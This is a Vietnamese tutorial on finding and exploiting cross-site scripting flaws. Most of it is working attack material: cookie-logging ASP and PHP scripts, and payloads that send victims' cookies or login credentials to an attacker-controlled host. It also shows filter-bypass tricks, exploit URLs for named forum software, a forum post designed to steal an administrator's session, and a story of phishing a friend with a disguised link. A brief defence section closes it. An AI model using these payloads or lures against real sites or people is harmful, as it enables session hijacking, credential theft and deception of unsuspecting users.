Lỗi CROSS SITE SCRIPTING và cách khai thác
trang này đã được đọc lầnGiới thiệu :
Cross Site Scripting còn được gọi là XSS chứ không phải là CSS như mọi người lầm tưởng . CSS và XSS là 2 khái niệm khác nhau hoàn toàn , CSS được viết tắt của cụm từ Cascading Style Sheets . Còn tại sao lại gọi Cross Site Scripting là XSS thì phải hỏi mấy cha bảo mật , tui cũng hông hiểu. Do đó khi nghe 1 người nào đó nói là đã tìm ra 1 lỗi XSS của 1 ứng dụng thì người đó muốn nhắc tới lỗi Cross-Site Scripting .
Lỗi xảy ra như thế nào ?
Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker . Như bạn đã biết thì 1 website thường chứa các link , thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là toi mạng , nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm của link ( đã chèn code) thành kiểu HEX ( hoặc có thể là các hình thức khác ) để làm cho nạn nhân ít nghi ngờ khi click vào cái link nguy hiểm đó . Sau đó là tìm cách nào đó để cho nạn nhân chịu click vào cái link đã đặt bẫy đó , cái này tùy thuộc vào sự gian xảo của từng hacker :-) , càng gian xảo thì càng mau chóng thu được kết quả .
Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó xài . Các webmail , web bán hàng , nhà băng , ... đa số đều dùng cookie với mục đích chứng thực ngừхi dùng , và đây cũng là cái mà hacker cần .
Vậy chứ chèn code là chèn cái quái gì , dùng cái gì để chèn : dùng Javascript ( thông dụng ) , VBscript , ActiveX, HTML,hoặc Flash
Chắc các bạn đã hiểu sх sх về cái lỗi này rồi :-) . Không hiểu thì xem tiếp sẽ hiểu .
Bi giờ chúng ta sẽ nói thật rõ về cái lỗi này :
Trước hết giới thiệu sх với các bạn về cách mã hoá 1 số các kí tự thường dùng trong lỗi XSS của thanh ADDRESS để chút nữa khỏi bị choáng :
Char | " | [ | $ | / | % | \ | ' | ] | ( | ` | + |
Code | " | [ | $ | / | % | ' | ' | ] | ( | ` | + |
Char | { | } | < | > | |||||||
Code | { | } | < | > |
a ---> z
mã hoá là a--->-z (nghĩa là chữ c được mã hoá là c )cũng có thể dùng cái này :
Char | ; | / | ? | : | @ | = | & | < | > | “ | # |
Code | %3b | %2f | %3f | %3a | %40 | %3d | %26 | %3c | %3e | %22 | %23 |
Char | { | } | | | \ | ^ | ~ | [ | ] | ` | % | ‘ |
Code | %7b | %7d | %7c | %5c | %5e | %7e | %5b | %5d | %60 | %25 | %27 |
khoảng trống được mã hoá là %20
sх sх vậy thôi , muốn biết hết thì các bạn tự kiếm .
Kiểm tra lỗi XSS
Bây giờ tôi sẽ nêu ra các bước để các bạn có thể kiểm tra xem site đó có bị XSS hay không :
1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi nên chia thành 5 bước :
Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi )
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "Mask_NBTA" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
hoặc là cái quái gì đó mà có dính tới chữ "Mask_NBTA" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS
còn vài hình thức thử nữa tôi cũng xin trình bày luôn :
+ Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào . Hãy thử với những script này :
<script>alert('Mask_NBTA')</script>
hoặc <img csstest=javascript:alert('Mask_NBTA')>
hoặc &{alert('Mask_NBTA')};
Bước 4 : Chèn code thực sự vào nхi bị lỗi :
chèn cái này
<script>alert('Mask_NBTA')</script> vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "Mask_NBTA" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('Mask_NBTA')</script> , nếu có thì hết chạy , XSS đây rồi .Một ví dụ khác thường gặp hхn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nхi bị lỗi như thế này : http://sitebiloi.com/index.php?page=<script>alert('Mask_NBTA')<script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
Khai thác
Kiểm tra lỗi đã xong bây giờ phải tìm cách khai thác lỗi để đạt được những gì ta mong muốn :
Tôi sẽ trình bày cách thông qua lỗi XSS để lấy cookie của nạn nhân :
Bước 1 : tạo 1 file cookie.asp có nội dung như thế này :
----------------------------------------------------------------------------
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
-------------------------------------------------------------------------------
hoặc file cookie.php như thế này :
//////////////////////////////////////////////////////////////////////////////
<?
$f = fopen("mask.txt","a");
fputs($f, $cook.chr(13));
fclose($f);
?>
////////////////////////////////////////////////////////////////////////////////
và upload file này lên host của bạn . Chú ý là nếu bạn dùng file .php thì phải up lên host hỗ trợ PHP (lycos) , dùng file .asp thì up lên host hỗ trợ ASP (brinkster)
Bước 2 :
lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :
http://sitebiloi.com/index.php?page=<script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
-----------------------------------------------------------
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.cookie)</script>
...
</HTML>
--------------------------------------------------------------
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
Nhưng không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cх chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đхn giản vậy thôi .
Chẳng lẽ hacker chịu bó tay , chưa chắc ! Hacker cũng cố gắng vượt qua "bộ lọc" bằng một vài thủ thuật nhỏ :
1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
') +') + '\x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'
2/Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>
<img src="http://none" onerror="alert(Mask_NBTA was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie="+document.cookie); ">
</script>
lúc này đoạn lọc code ban đầu trở thành :
-----------------------------------------------------------------------
<COMMENT>
<!--
- -->
</COMMENT>
<img src="http://none" onerror="alert(Mask_NBTA was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie="+document.cookie); ">
</script>
</COMMENT>
--------------------------------------------------------------
và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
Cái này dùng để hack webmail bằng cách tạo fakelogin thì khỏi chê .
3/Không cho JAVASCRIPT tồn tại :
Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code nhập vào :
http://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b
Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là {alert('Mask')}; đã được mã hoá
Tôi nêu thêm ra vài ví dụ nữa để các bạn dễ hình dung :
*Forum YABB GOLD 1 SP1 (chưa fix) , bị XSS như sau :
http://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269<Script>location%3d'Http://www.hostbanupfile.com/cookie.php?Cookie%3d'%2b(document.cookie)%3b</Script>
đó đó , mấy cái kí tự loằng ngoằng bi giờ sử dụng rồi đó (tự tra nhé )
*Forum vbullettin (version bao nhiêu quên rồi ) :
http://target.com/board/usercp.php?s=[Session ID]"><Script>javascript:document.write('<img scr=htp://www.hostbanupfile.com/cookie.asp?cookie='+escape(document.cookie)+'>');</Script>
*Forum PHPBB 1.4.4 (hình như 2.0 cũng bị) :
vào đăng kí 1 cái acc , sau đó send 1 cái topic , ráng làm sao để thằng admin nó đọc đặng còn chôm cookie của nó chứ , tôi gợi ý nhé
----------------------------------------------------------------------------------------------
Subject : ADMIN , I LOVE U
Nội dung :
your forum is bad, hahaha
[img]javascript:document.write('<img scr=http://hostbanupfile/cookie.asp?cookie='+escape(document.cookie)+'>')[/img]
--------------------------------------------------------------------------------
ta thực hiện được là do lợi dụng thẻ img để chèn code . Khi thằng admin đọc cái topic này thì cookie của nó lập tức bay vào tay ta . Hà hà !
Cách dùng cookie vừa chôm được :
Đối với WIN XP thì cookie được lưu trữ tại : C:\Documents and Settings\tên của bạn\cookies\
còn cookie nào , ở chính xác tại đâu thì vào đó mà kiếm , không thể biết cụ thể được .
Kiếm được rồi thì thay thế cái cookie của ta thành cái vừa chôm được , xong trở lại forum với cookie này thì ta là admin . Nhưng hình như nếu ta chôm cookie mà thằng admin nó log out mất tiêu thì cookie này coi như vô dụng , chỉ áp dụng được khi thằng admin ko log out ( không biết tôi nhớ có chính xác hay không nhưng đại loại có lẽ đúng )
Còn rất nhiều rất nhiều site + forum bị lỗi trên net , ở đây chỉ là vài ba ví dụ để các bạn dễ hình dung .
Cách dụ dỗ victim vào đúng cái link mà ta mong muốn :
Để mang tính thực tế và dễ hiểu tôi sẽ kể cho các bạn nghe 1 câu chuyện về hack bằng lỗi XSS và đây cũng là 1 tình huống nữa của lỗi XSS :
Một hôm buồn đời tôi lang thang trên net và vào 1 website nọ , ví dụ là http://www.a.com/ theo thói quen tôi đánh 1 dữ liệu bất kì vào ô put in USERNAME , và ở đây cái mà tôi đáng vào là Mask_NBTA tôi liền thấy xuất hiện dòng chữ "Invalid login : user Mask_NBTA is not found in our data" , hè hè 1 triệu chứng của XSS đây rồi , nhìn vào thanh URL lại thấy cái này http://www.a.com/login.asp?erro=Invalid%20login%20user%20Mask_NBTA%20is%20not%20found%20in%20our%20data
quá sướng rồi còn gì , công việc bi giờ làm sao để hack đây . Đầu tiên tôi save as cái trang này vào dĩa cứng , dùng NOTE PAD open và xem cái sources .Tại sao tôi làm vậy ? Vì tôi muốn biết 2 cái tên biến của login form , và tôi đã dễ dàng tìm thấy , nó là "ten" và "matkhau" , dựa vào 2 cái này thì tôi đã biết mình cần phải làm gì , và phải chèn code như thế nào hè hè . Cái tôi muốn lúc này là làm sao dựa vào XSS để lấy được thông tin về username + pass của nạn nhân . Vậy thì mình chèn cái gì đây , sau 1 thoáng suy nghĩ tôi quyết định chèn cái này đây :
</FORM>
<FORM action="fakelogin.asp" method="post"
onsubmit="
image= new Image;
image.scr='http://myhost/cookie.asp?cookie='+document.form(1).ten.value + '/' + document.form(1).matkhau.value;">
Tôi sẽ giải thích từng cái cho các bạn hiểu :
cái </FORM> để kết thúc cái FORM của cái site đã được mở ra ở trên . Còn cái code bên dưới thì nhìn thôi chắc các bạn cũng hiểu hết , không cần giải thích nhé .
Chèn code như sau :
http://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2
&tênbiến3=giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%22login1.
asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20image;image.scr='http://
myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value%20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E
Tại sao lại chèn thêm 1 đống biến có thật vào, nhớ là làm sao để nhìn vào URL ta ko thấy cái phần code chèn thêm ngoài sau , chủ yếu là làm cho cái link thêm dài loằng ngoằng trước hết làm hoa mắt nạn nhân , sau đó là tạo dáng vẻ có thật 1 cách tự nhiên cho cái link .
Làm tới đây tôi chợt nghĩ ra mình có thằng bạn là member của cái site này , sẵn đang rảnh rổi chọc nó chхi . Cách tôi làm là send cho nó 1 cái mail với nội dung thế này :
Mày nghe tin gì mới chưa ! WEBSITE a.com mở 1 cuộc thi có tiền thưởng là 1000 000 , lại đúng sở trường của mày nữa , còn hông biết tham gia nữa . Xem cái link này mày sẽ hiểu :
http://www.a.com/login.asp nhưng bên dưới cái link này sẽ là cái http://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3=giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%
3C/FORM%3E%3CFORM%20action=%22login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%
20image;image.scr='http://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value%20%2b'/'%20%2bdocument.form(1).
matkhau.value;%22%2E
Bạn đoán xem chuyện gì xảy ra . Tất nhiên là nó sẽ click vào cái link tưởng chừng như vô hại đó , sau đó login vào site bình thường mà đâu ngờ là cái username + pass đã bị ...........
Công việc của tôi chỉ là vào host , mở cái file log ra và xem , có gì trong đó , bí mật ..........
Câu chuyện tới đây là hết . Chắc các bạn cũng đã hiểu cách làm của tôi , hy vọng với những cái đầu thiên tài của các bạn thì sẽ có những cách hay hхn cách tôi vừa trình bày .
Cách phòng chống XSS :
1/Trước hết là cho admin của các website :
+ Không cho phép bất cứ HTML tag nào nhập vào từ người dùng .
+ Lọc tất cá các Active Script từ HTML Code
2/Dành cho người dùng :
Cẩn thận là trên hết , đừng chết vì thiếu hiểu biết .